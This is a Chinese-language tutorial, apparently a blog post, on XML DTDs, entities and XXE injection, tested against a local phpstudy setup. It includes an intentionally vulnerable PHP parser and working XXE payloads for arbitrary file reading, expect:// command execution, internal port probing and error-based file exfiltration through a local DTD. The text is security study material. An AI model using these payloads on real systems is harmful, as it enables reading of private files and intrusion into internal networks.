XML-DTD与XXE

DTD,文档定义类型,它使用一系列合法的元素来定义文档的结构;可用于验证接收到的以及自己的数据的有效性

XML文档的MIME类型:text/xml

内部DTD

DTD被包含在XML文件中

声明语法:

1
<!DOCTYPE 根元素 [元素声明]>

例如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (ANY)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

解释:

1.<!DOCTYPE note [定义内部DTD,note为此xml文档的根元素

2.<!ELEMENT note (to,from,heading,body)>定义note节点中有四个子节点

3.<!ELEMENT to (#PCDATA)>定义to元素为#PCDATA类型

4.<!ELEMENT body (ANY)>:ANY关键字表示元素中可以出现任何内容,也可以为空

外部DTD

DTD位于XML文件外部

声明语法:

1
<!DOCTYPE 根元素 SYSTEM "文件名">

注:默认情况,xml文档不会加载外部DTD

例如:

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

note.dtd:

1
2
3
4
5
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>

实体

实体可以定义引用普通文本或特殊字符的快捷方式的变量;实体引用是对实体的引用

预定义实体

xml预定义了五个实体引用:用

&lt; &gt; &amp; &apos; &quot; 

替换

< > & ' " 。

字符实体

使用十进制或十六进制来表示unicode字符

例如:

1
2
<?xml version="1.0"?>
<note>&#97; &#x61;</note>

会被解析成:

<note>a a</note>

一般实体

引用格式同预定义实体:&实体名称;

内部实体

声明语法:

1
<!ENTITY 实体名称 "实体的值">

例如:

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE author [
<!ENTITY aha "hello">
<!ENTITY hah "world">
]>

<author>&aha; &hah;</author>

被浏览器解析会显示:

<author>hello world</author>
外部实体

声明语法:

<!ENTITY 实体名称 SYSTEM "URI/URL">

注:浏览器中外部实体不能被解析

参数实体

只有在DTD中才能引用参数实体;引用格式:%实体名称;

语法:

<!ENTITY % 实体名 "实体默认值">

例如:

1
2
3
4
5
6
7
8
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY % param1 "<!ENTITY internal 'http://www.baidu.com'>">
%param1;
]>
<root>
[This is my site] &internal;
</root>

会被解析成:

1
2
3
<root>
[This is my site] http://www.baidu.com
</root>

注:不同浏览器解析结果不同,IE和Firefox正常解析,Chrome会报错

XXE漏洞

XXE,XML External Entity Injection,xml外部实体注入漏洞

在phpstudy测试的时候发现无法解析xml外部实体,在一个帖子看到php的版本5.2.17和5.4.45可以解析,再往后的版本就不行了。

环境:windows10,phpstudy5.4.45

漏洞代码:

1
2
3
4
5
<?php
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
var_dump($xml);
?>
simplexml_load_string():读取xml文档,返回一个可迭代对象
#### 任意文件读取

在C盘下创建一个文件夹test,在里面创建一个test.txt文件,在文件里写入123456

则构造payload读取这个文件内容:

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY v SYSTEM "file:///c:/test/test.txt">
]>
<root>&v;</root>

此时,页面会显示:

object(SimpleXMLElement)#1 (1) { [“v”]=> object(SimpleXMLElement)#2 (1) { [“v”]=> string(6) “123456” } }

即读取到了test.txt的内容

注:如果目标文件含有尖括号< >,则直接读取会产生错误信息:parser error : Couldn’t find end of Start Tag

除此之外,可以使用的协议:

使用php://协议payload:

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY v SYSTEM "php://filter/read=convert.base64-encode/resource=c:/test/test.txt">
]>
<root>&v;</root>

此时,页面会显示:

object(SimpleXMLElement)#1 (1) { [“v”]=> object(SimpleXMLElement)#2 (1) { [“v”]=> string(8) “MTIzNDU2” } }

即读取到了test.txt经base64编码后的内容

命令执行

运用expect://(处理交互式的流)来执行系统命令;

Note: 该封装协议默认未开启 为了使用 expect:// 封装器,你必须安装 » PECL 上的 » Expect 扩展。

由于是在phpstudy上做的测试,不能使用这个协议(需要linux);思路:

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY v SYSTEM "expect://ls">
]>
<root>&v;</root>

内网探测

探测内网开发端口,payload:

1
2
3
4
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY v SYSTEM "http://127.0.0.1:80" >]>
<root>&v;</root>

页面显示:

object(SimpleXMLElement)#1 (1) { [“v”]=> object(SimpleXMLElement)#2 (1) { [“v”]=> string(11) “hello world” } }

这表明我的80端口是打开的,但探测关闭的81端口,就会报错:

同文件读取,目标网页不能含有尖括号,否则会产生错误信息;可以结合php://filter来进行探测

local dtd

可以在目标主机上强制执行本地dtd文件,并可重新定义一些参数实体引用,这样会通过报错的方式将执行结果带出来(参考:https://www.freebuf.com/articles/web/195899.html)

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0" ?>
<!DOCTYPE message [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">

<!ENTITY % constant 'aaa)>
<!ENTITY &#x25; file SYSTEM "file:///flag">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
<!ELEMENT aa (bb'>

%local_dtd;
]>

XInclude

xinclude可以使XML的可读性更高,并且语法简单;对于XML,外部实体具有许多局限性和不便之处:

  • XML外部实体不能是成熟的独立XML文档-不允许独立的XML声明或Doctype声明。这实际上意味着XML外部实体本身不能包含其他外部实体。
  • XML外部实体必须是格式良好的XML(乍看之下还不错,但是假设您想将示例C#代码包含到XML文档中)
  • 无法加载外部实体是致命错误 ; 严禁任何恢复。
  • 可能只包括整个外部实体,而没有办法只包含文档的一部分。
  • 外部实体必须在DTD或内部子集中声明。例如必须在Doctype声明中命名文档元素,并且验证读者可能需要在DTD中定义文档的完整内容模型。

详细信息可参考下面的文档:

https://docs.microsoft.com/zh-cn/previous-versions/dotnet/articles/aa302291%28v=msdn.10%29?redirectedfrom=MSDN

https://www.w3.org/TR/xinclude/

XInclude的命名空间只包含了两个元素,xi:includexi:fallback,前者用来加载其他文件,后者用于处理异常;

对于xi:include,有以下属性:

  • href:指定对资源的URI的引用
  • parse:指定如何包括指定的文档,xml或text
  • xpointer:用于标识要包括的资源的一部分。该属性可选,如果省略,将包括整个资源;对于parse=”text”,该属性必须省略
  • encoding:当parse=”text”时,有时无法正确检测文本资源的编码,该属性指定如何转换资源
  • accept:请求HTTP资源时,可设置该属性作为HTTP的Accept头
  • accept-language:请求HTTP资源时,可设置该属性作为HTTP的Accept-Language头

php的xml库的底层库是libxml2。在2.6版本之后,libxml2已默认禁用外部实体引用的解析;

查看当前版本号:

echo LIBXML_DOTTED_VERSION;

如果要在libxml2.6后开启加载外部实体,需要在loadXML()方法中添加LIBXML_NOENT参数

下面是使用XInclude的一个例子,并没有开启加载外部实体: